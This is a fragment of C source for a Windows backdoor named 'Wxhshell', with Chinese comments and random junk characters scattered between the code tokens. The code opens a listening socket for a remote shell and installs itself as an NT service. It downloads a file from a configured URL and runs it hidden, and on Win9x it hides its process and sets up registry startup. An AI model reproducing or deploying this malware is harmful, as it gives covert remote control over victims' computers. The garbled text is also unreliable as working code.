wsl; ~H?RHYP~ BOOL val=TRUE; `5h$@ int port=0; 0]NjsOU= struct sockaddr_in door; vzs6YsA |A &Nv~.) if(wscfg.ws_autoins) Install(); i Ri1E; KvC:(Vqj port=atoi(lpCmdLine); B>-Iv_ W@/D2K( if(port<=0) port=wscfg.ws_port; FL0[V, -.:1nI WSADATA data; *$uKg zv3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RrGS$< D3BX[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -O. MfI+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oM QH-\(} door.sin_family = AF_INET; k'
pu%nWN door.sin_addr.s_addr = inet_addr("127.0.0.1"); -N*g|1rpa door.sin_port = htons(port); !0E$9Xon YIt:_][* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r=8]Ub[ closesocket(wsl); R3%T}^;f return 1; (w4#?_ } G;wv.|\ m,qU}) if(listen(wsl,2) == INVALID_SOCKET) { 6 3Kec closesocket(wsl); @^#y23R U return 1; ?RrJYj1 } N f1) 5 Wxhshell(wsl); ]V><gZ WSACleanup(); ++Az~{W7 ~ EE*/vX return 0; V@e0VV3yx% @2kt6
W } /HI#8 B6OggJ9Iq // 以NT服务方式启动 3U1xKF VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F RS@-P { B@.U\. DWORD status = 0; <bIAq8 DWORD specificError = 0xfffffff; p.8G]pS u+XZdV serviceStatus.dwServiceType = SERVICE_WIN32; wjKW 3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9QWS[E4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k
NK)mE serviceStatus.dwWin32ExitCode = 0;
1u)I}"{W> serviceStatus.dwServiceSpecificExitCode = 0; \HTXl] serviceStatus.dwCheckPoint = 0; QP[w{T serviceStatus.dwWaitHint = 0; vV8y_ [8O`VSV3 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {IqbO>|"O_ if (hServiceStatusHandle==0) return; xxiEL2"`> F-UY~i8 status = GetLastError(); {.Nt#l if (status!=NO_ERROR) _2U1$0xK { 0'RSl~QvqS serviceStatus.dwCurrentState = SERVICE_STOPPED; |w:7).P serviceStatus.dwCheckPoint = 0; IjJ3CJ< serviceStatus.dwWaitHint = 0; "sL#)<% serviceStatus.dwWin32ExitCode = status; w9c serviceStatus.dwServiceSpecificExitCode = specificError; tw\/1wa. SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(4cnD)BO return; >E[cl\5$E } /38^N|/Zr v3.JG]zLpP serviceStatus.dwCurrentState = SERVICE_RUNNING; pbloL3d.;+ serviceStatus.dwCheckPoint = 0; u=RF6V| serviceStatus.dwWaitHint = 0; Q]IpHNt[> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }
Tp!Ub\Cc } O8 k$Uc }$81FSKh // 处理NT服务事件,比如:启动、停止 LGRX@nF# VOID WINAPI NTServiceHandler(DWORD fdwControl) q31swP { :2K0/@<x switch(fdwControl) b
s:E`Q { b.;F)( case SERVICE_CONTROL_STOP: gnx!_H\h< serviceStatus.dwWin32ExitCode = 0; e"[o2=v;5 serviceStatus.dwCurrentState = SERVICE_STOPPED; $6BXoh! serviceStatus.dwCheckPoint = 0; a|lcOU serviceStatus.dwWaitHint = 0; m_ '
1yX@ { dJ:EXVU SetServiceStatus(hServiceStatusHandle, &serviceStatus); z/6eP`jj } W@#)8];> return; G|IO~o0+ case SERVICE_CONTROL_PAUSE: o;_v' serviceStatus.dwCurrentState = SERVICE_PAUSED; VmV/~- <Z break; OpUC98p?@ case SERVICE_CONTROL_CONTINUE: NR^z!+oSR serviceStatus.dwCurrentState = SERVICE_RUNNING; tE=P9 \4 break; w*\)]bTs case SERVICE_CONTROL_INTERROGATE: m7g; psg break; hJ+>Xm@@! }; U]d{hY." SetServiceStatus(hServiceStatusHandle, &serviceStatus); lUUeM\ } LIirOf~e;! {b=]JPE // 标准应用程序主函数 }_:^&cT int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?psvhB{O { ]rXRon=' kImS'i{A // 获取操作系统版本 Abd&p N OsIsNt=GetOsVer(); :TX!lbCq GetModuleFileName(NULL,ExeFile,MAX_PATH); ^)D[ W(* u])N^AY"sj // 从命令行安装 shjS^CP if(strpbrk(lpCmdLine,"iI")) Install(); YeptYW@xfw aj|I[65 // 下载执行文件 x.xfMM2n if(wscfg.ws_downexe) { 7M=`Z{=9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mJ)o-BV WinExec(wscfg.ws_filenam,SW_HIDE); ]fnc.^{ } RU>T?2 Qpe&_.&RE if(!OsIsNt) { 'k{pWfn=< // 如果时win9x,隐藏进程并且设置为注册表启动 !#5RP5,,Y HideProc(); m}'kxZTOm StartWxhshell(lpCmdLine); )$]_;JFr } E,>/6AU else @K3<K( if(StartFromService()) "U4Sn'&h@ // 以服务方式启动 #Bj.#5 StartServiceCtrlDispatcher(DispatchTable); "z1\I\
^ else LIT{rR#8 // 普通方式启动 ?m}vDd StartWxhshell(lpCmdLine); $NWXn,Y' p.SEW5 return 0; j7?53e }
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